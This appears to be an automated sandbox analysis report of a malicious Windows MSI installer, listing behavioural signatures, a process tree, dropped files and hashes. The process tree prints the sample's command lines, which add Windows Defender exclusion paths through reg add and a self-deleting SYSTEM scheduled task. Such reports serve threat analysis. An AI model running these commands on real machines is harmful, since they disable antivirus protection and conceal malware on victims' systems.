Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    31/07/2026, 03:48

General

  • Target
    install_mal005.msi
  • Size 7.5MB
  • Sample260731-ec89lscc22
  • SHA256 c7b1bc6a181638c8c9e78117aac037d6161f9c32306bdecc0b0088122520a7d1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 7 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 23 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:5032
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3256
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3024
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding F7B334DB77BBD9B9352D191047C947FB E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      PID:3088
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1820
  • C:\Users\Public\dab5lr\l8xMQU.exe
    C:\Users\Public\dab5lr\l8xMQU.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3320
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dab5lr\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\dab5lr\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1652
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5100
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4348
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1848
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4280
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2824
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3720
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3420
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3380
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1412
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2692
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:4624
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:804
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4824
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1248
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1288
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3400
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2156
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2028
                        • C:\Program Files (x86)\r3R9Ob\r3R9Ob.exe
                          "C:\Program Files (x86)\r3R9Ob\r3R9Ob.exe"
                          2⤵
                            PID:4564
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3736
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2552
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3336
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3728
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4544
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1352
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2360
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4288
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:3004

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                e5890f1.rbs

                                • Path C:\Config.Msi\e5890f1.rbs
                                • Size 7KB
                                • SHA256 70bb1caca323084b03864c483bf2c6229ab43be455907e639aa5e43561d17970
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\r3R9Ob\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 a69f356d2ef0d28e8453b0bae5f01cc3754f5d5e867ce2c121b0aa8ee80f0667
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\r3R9Ob\image.png
                                • Size 4.9MB
                                • SHA256 aa179a1a17c60374429949ff7ff41e7fb04845f3aa21e7689127ff71188af20c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                r3R9Ob.exe

                                • Path C:\Program Files (x86)\r3R9Ob\r3R9Ob.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\r3R9Ob\thumbs.db
                                • Size 358KB
                                • SHA256 85ae25e19353c52f3371bb441738f1c630d98799fb82c5f9704cd16e170cc838
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\dab5lr\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 a3f3a74104f12937e087606a7116d5c7c1e735d49d5a9d61aadc87242640e42f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\dab5lr\adoresd.dat
                                • Size 4.8MB
                                • SHA256 ad133b0bc6d0156ba784eacbb24742735f6d2021f9e260ed44b77a527b1339ef
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                l8xMQU.exe

                                • Path C:\Users\Public\dab5lr\l8xMQU.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\dab5lr\msadox.tb
                                • Size 8KB
                                • SHA256 4af0b5e7fd4ce63839d78267f2f37b99e3616b5a0fe397fd571329c24357a06d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSI9278.tmp

                                • Path C:\Windows\Installer\MSI9278.tmp
                                • Size 7.4MB
                                • SHA256 e246f2b495c8455d02afb9b05b8a681188e710cb879eb64436f412725012f260
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e5890f0.msi

                                • Path C:\Windows\Installer\e5890f0.msi
                                • Size 7.5MB
                                • SHA256 c7b1bc6a181638c8c9e78117aac037d6161f9c32306bdecc0b0088122520a7d1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 24.1MB
                                • SHA256 bcfb7172141f7ca85ad2d14f6cbce4f0d847583ae2cb67e242109505d900053b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {a30fe43a-6d95-4a3c-9f3a-15cf3eb088ee}_OnDiskSnapshotProp

                                • Path \??\Volume{63ef4f52-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a30fe43a-6d95-4a3c-9f3a-15cf3eb088ee}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 a3677381de83cdc86de2123848067f4fd5ad58c4a0d4e085f43c94b3934aeac3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/3088-38-0x00007FFBE99C0000-0x00007FFBE99D0000-memory.dmp

                                memory/3088-18-0x00007FFBE99C0000-0x00007FFBE99D0000-memory.dmp

                                memory/3088-15-0x00007FFBD5EF0000-0x00007FFBD6544000-memory.dmp

                                memory/3088-14-0x00007FFBF4EF0000-0x00007FFBF4EF2000-memory.dmp

                                memory/3320-83-0x000001C3A8680000-0x000001C3A870A000-memory.dmp

                                memory/3320-81-0x000001C3A8680000-0x000001C3A870A000-memory.dmp

                                memory/3320-69-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-71-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-70-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-75-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-84-0x000001C3A8680000-0x000001C3A870A000-memory.dmp

                                memory/3320-64-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-88-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-90-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-82-0x000001C3A8680000-0x000001C3A870A000-memory.dmp

                                memory/3320-68-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/3320-80-0x000001C3A6D40000-0x000001C3A6D8E000-memory.dmp

                                memory/3320-63-0x00007FFBF4F00000-0x00007FFBF4F02000-memory.dmp

                                memory/3320-55-0x00007FFBF4EF0000-0x00007FFBF4EF2000-memory.dmp

                                memory/3320-56-0x00007FFBD5CF0000-0x00007FFBD620E000-memory.dmp

                                memory/3320-61-0x000001C3A90F0000-0x000001C3A99AE000-memory.dmp

                                memory/4564-174-0x0000000075220000-0x000000007596A000-memory.dmp

                                memory/4564-178-0x00000000030C0000-0x00000000038A9000-memory.dmp

                                memory/4564-180-0x0000000000F40000-0x0000000000F41000-memory.dmp

                                memory/4564-181-0x00000000030C0000-0x00000000038A9000-memory.dmp

                                memory/4564-173-0x0000000000F20000-0x0000000000F21000-memory.dmp

                                memory/4564-185-0x00000000030C0000-0x00000000038A9000-memory.dmp

                                memory/4564-192-0x0000000004E20000-0x0000000004E34000-memory.dmp